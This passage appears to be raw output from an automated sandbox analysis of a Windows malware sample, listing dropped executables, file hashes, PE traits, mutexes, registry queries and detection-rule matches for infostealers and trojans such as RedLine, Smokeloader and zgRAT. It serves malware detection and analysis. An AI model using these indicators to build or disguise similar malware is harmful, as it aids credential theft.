Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009EC160	7_2_009EC160
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9A285	7_2_00C9A285
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A27270	7_2_00A27270
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9F3FC	7_2_00C9F3FC
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A803D0	7_2_00A803D0
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9A359	7_2_00C9A359
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A1F360	7_2_00A1F360
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009B6490	7_2_009B6490
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A344E0	7_2_00A344E0
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9948F	7_2_00C9948F
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009A2410	7_2_009A2410
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9F452	7_2_00C9F452
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C97462	7_2_00C97462
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00CA1473	7_2_00CA1473
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C98403	7_2_00C98403
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A23470	7_2_00A23470
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A8959F	7_2_00A8959F
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9850F	7_2_00C9850F
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00CA153B	7_2_00CA153B
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A12630	7_2_00A12630
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009A2600	7_2_009A2600
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A2F7B0	7_2_00A2F7B0
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009AE7B0	7_2_009AE7B0
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A10760	7_2_00A10760
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009D3740	7_2_009D3740
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A11830	7_2_00A11830
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9B877	7_2_00C9B877
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A9B84F	7_2_00A9B84F
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009BF9B0	7_2_009BF9B0
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A9D9FE	7_2_00A9D9FE
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C97930	7_2_00C97930
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C97A49	7_2_00C97A49
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9BA4C	7_2_00C9BA4C
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A21A30	7_2_00A21A30
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009EEB90	7_2_009EEB90
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A85B90	7_2_00A85B90
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00CA0B7D	7_2_00CA0B7D
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A83B58	7_2_00A83B58
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00CA0C82	7_2_00CA0C82
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9AC9E	7_2_00C9AC9E
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A96CC5	7_2_00A96CC5
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9FC4E	7_2_00C9FC4E
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C9AD20	7_2_00C9AD20
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C97EFF	7_2_00C97EFF
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A23EF0	7_2_00A23EF0
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009B8EE0	7_2_009B8EE0
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00CA0E1A	7_2_00CA0E1A
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A3EE70	7_2_00A3EE70
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A30E40	7_2_00A30E40
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A22FE0	7_2_00A22FE0
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A33FF0	7_2_00A33FF0
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00C96F26	7_2_00C96F26
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69ADB6B0	10_2_69ADB6B0
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69AF4970	10_2_69AF4970
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B20B89	10_2_69B20B89
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69AB8B30	10_2_69AB8B30
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69AF4AC0	10_2_69AF4AC0
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69AD2D70	10_2_69AD2D70
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B2AC29	10_2_69B2AC29
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B04EE0	10_2_69B04EE0
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69ACA0C0	10_2_69ACA0C0
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B063B0	10_2_69B063B0
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B12310	10_2_69B12310
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B2A54D	10_2_69B2A54D
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69AF4550	10_2_69AF4550
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69ABC7B0	10_2_69ABC7B0
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69ABA7E0	10_2_69ABA7E0
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69AB6650	10_2_69AB6650
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B2B964	10_2_69B2B964
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B058D5	10_2_69B058D5
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B058D7	10_2_69B058D7
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B05830	10_2_69B05830
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B29AAB	10_2_69B29AAB
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B25DD2	10_2_69B25DD2
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B05DD0	10_2_69B05DD0
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B11CA0	10_2_69B11CA0
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69AF3C90	10_2_69AF3C90
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B2BFF1	10_2_69B2BFF1
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B29FFC	10_2_69B29FFC
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B05EB9	10_2_69B05EB9
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69AF3E50	10_2_69AF3E50
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B05050	10_2_69B05050
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B05274	10_2_69B05274
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69AF3260	10_2_69AF3260
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69AF3460	10_2_69AF3460
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_032CCA28	10_2_032CCA28
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_032CA9B8	10_2_032CA9B8
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_032C9890	10_2_032C9890
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_032C8368	10_2_032C8368
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_032C1120	10_2_032C1120
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_032C6F59	10_2_032C6F59
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_032C0D60	10_2_032C0D60
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_032C0D70	10_2_032C0D70
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_05CD0040	10_2_05CD0040
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_05CD31C0	10_2_05CD31C0
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_05CD31B0	10_2_05CD31B0
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_05CD2E58	10_2_05CD2E58
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_066D26F8	10_2_066D26F8
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_066D0EB3	10_2_066D0EB3
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_066D26DD	10_2_066D26DD
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_066D0930	10_2_066D0930

Source: Joe Sandbox View	Dropped File: C:\ProgramData\MSIUpdaterV202_3e3a2bee5ace9e061f31a101c1269b0c\MSIUpdaterV202.exe F5913E753281DBDF88F36C73D13AFBF4AF62046E25F8E148E87A80E88818C4D7
Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: String function: 00A09F00 appears 32 times
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: String function: 00A0A190 appears 47 times
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: String function: 69B19B35 appears 141 times
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: String function: 69B1D520 appears 31 times
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: String function: 69B190D8 appears 51 times

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 3108 -ip 3108

Source: qk9TaBBxh8.exe

Static PE information: invalid certificate

Source: ooon0i8sg2EZy1pci_ppgkth.exe.0.dr

Static PE information: Resource name: AUUPG type: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed

Source: 70Leo0eE867BJ4vm1aky3Uk3.exe.0.dr	Static PE information: Number of sections : 16 > 10
Source: zFe0EAtgy56yDxXht4nmozfb.exe.0.dr	Static PE information: Number of sections : 14 > 10
Source: qk9TaBBxh8.exe	Static PE information: Number of sections : 15 > 10
Source: eQEIduvtZVhzsp4oDFOuc1gy.exe.0.dr	Static PE information: Number of sections : 16 > 10
Source: EWdN3bvBjxAbF1GyzHE7_p73.exe.0.dr	Static PE information: Number of sections : 12 > 10
Source: Default16_team[1].exe.0.dr	Static PE information: Number of sections : 14 > 10
Source: Space_bake[1].exe.0.dr	Static PE information: Number of sections : 16 > 10
Source: Retailer_prog[1].exe.0.dr	Static PE information: Number of sections : 16 > 10

Source: qk9TaBBxh8.exe, 00000000.00000003.2127725914.000001D7023A2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFires0 vs qk9TaBBxh8.exe
Source: qk9TaBBxh8.exe, 00000000.00000003.2167052907.000001D7021D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7zS.sfx.exe, vs qk9TaBBxh8.exe
Source: qk9TaBBxh8.exe, 00000000.00000000.2050186808.00007FF6543E0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameCookComputing.XmlRpcV2.dll8 vs qk9TaBBxh8.exe
Source: qk9TaBBxh8.exe, 00000000.00000003.2142101955.000001D702828000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameFires0 vs qk9TaBBxh8.exe
Source: qk9TaBBxh8.exe, 00000000.00000003.2167052907.000001D702214000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7zS.sfx.exe, vs qk9TaBBxh8.exe

Source: 28.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: HiddenCobra_BANKSHOT_Gen date = 2017-12-26, hash5 = ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699, hash4 = daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75, hash3 = b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24, hash2 = 8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247, hash1 = 89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486, author = Florian Roth, description = Detects Hidden Cobra BANKSHOT trojan, hash9 = 6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca, hash8 = 3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6, hash7 = ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9, hash6 = d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff, reference = https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 10.2.nRGT2oA3F8V3EBSM6dmMTrGw.exe.456c010.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 10.2.nRGT2oA3F8V3EBSM6dmMTrGw.exe.456c010.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 10.0.nRGT2oA3F8V3EBSM6dmMTrGw.exe.d10000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 00000017.00000002.2716540059.0000000001AFF000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000F.00000002.3021827597.0000000001BD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000017.00000002.2720784429.0000000003760000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000017.00000002.2719169995.0000000003650000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000F.00000002.3022350261.0000000001CBF000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000017.00000002.2724393718.0000000003961000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000001C.00000002.2938091738.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: HiddenCobra_BANKSHOT_Gen date = 2017-12-26, hash5 = ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699, hash4 = daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75, hash3 = b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24, hash2 = 8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247, hash1 = 89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486, author = Florian Roth, description = Detects Hidden Cobra BANKSHOT trojan, hash9 = 6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca, hash8 = 3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6, hash7 = ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9, hash6 = d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff, reference = https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe, type: DROPPED	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT

Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Key value queried: HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon version
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Key value queried: HKEY_CURRENT_USER\SOFTWARE\Google\Chrome\BLBeacon version
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Key value queried: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon version
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Key value queried: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon version

Source: lumma1504[1].exe.7.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: JpL3YVeZ0uQ2FWGpg5WG.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: ooon0i8sg2EZy1pci_ppgkth.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9997554064239332
Source: ooon0i8sg2EZy1pci_ppgkth.exe.0.dr	Static PE information: Section: ZLIB complexity 1.000469355620155
Source: ooon0i8sg2EZy1pci_ppgkth.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9892578125
Source: ooon0i8sg2EZy1pci_ppgkth.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9994283536585366
Source: ooon0i8sg2EZy1pci_ppgkth.exe.0.dr	Static PE information: Section: .reloc ZLIB complexity 1.5

Source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.000000000165A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: inaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@286/417@0/31

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe

File created: C:\Users\user\Documents\SimpleAdobe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6672:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6656:120:WilError_03
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Mutant created: \Sessions\1\BaseNamedObjects\JarakHalgWW_11
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3568:120:WilError_03
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Protect544cd51a.dll
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Mutant created: \Sessions\1\BaseNamedObjects\JarakHalgWW_16
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\CLR_PerfMon_WrapMutex

Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe

File created: C:\Users\user\AppData\Local\Temp\adobeIT8d9rZTEaOT

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\EWdN3bvBjxAbF1GyzHE7_p73.exe

